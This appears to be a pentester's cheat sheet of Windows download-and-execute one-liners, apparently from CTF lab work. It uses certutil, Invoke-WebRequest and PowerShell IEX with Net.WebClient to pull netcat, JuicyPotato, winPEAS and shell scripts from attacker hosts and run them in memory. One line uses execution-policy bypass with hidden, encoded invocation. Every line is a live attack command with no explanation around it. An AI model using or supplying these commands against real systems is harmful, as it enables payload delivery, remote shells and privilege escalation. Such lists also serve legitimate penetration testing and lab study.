certutil.exe -urlcache -split -f http://10.10.14.10:8000/nc64.exe C:\\Users\\Public\\nc64.exe
IWR -uri http://192.168.49.134/evil.exe -outfile C:\backup\evil.exe
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.20:80/shell.ps1')"
(new-object net.webclient).downloadfile('http://10.10.14.22:80/JuicyPotato.exe', 'C:\Windows\Temp\JuicyPotato.exe')
powershell -c iwr -uri http://10.10.14.13:80/winpeas.exe -o c:\users\blake\downloads\wp.exe
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.14.20/shell.ps1')|iex"
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.13.14.7/script.ps1')
powershell -W Hidden -nop -noni -enc <base64 text>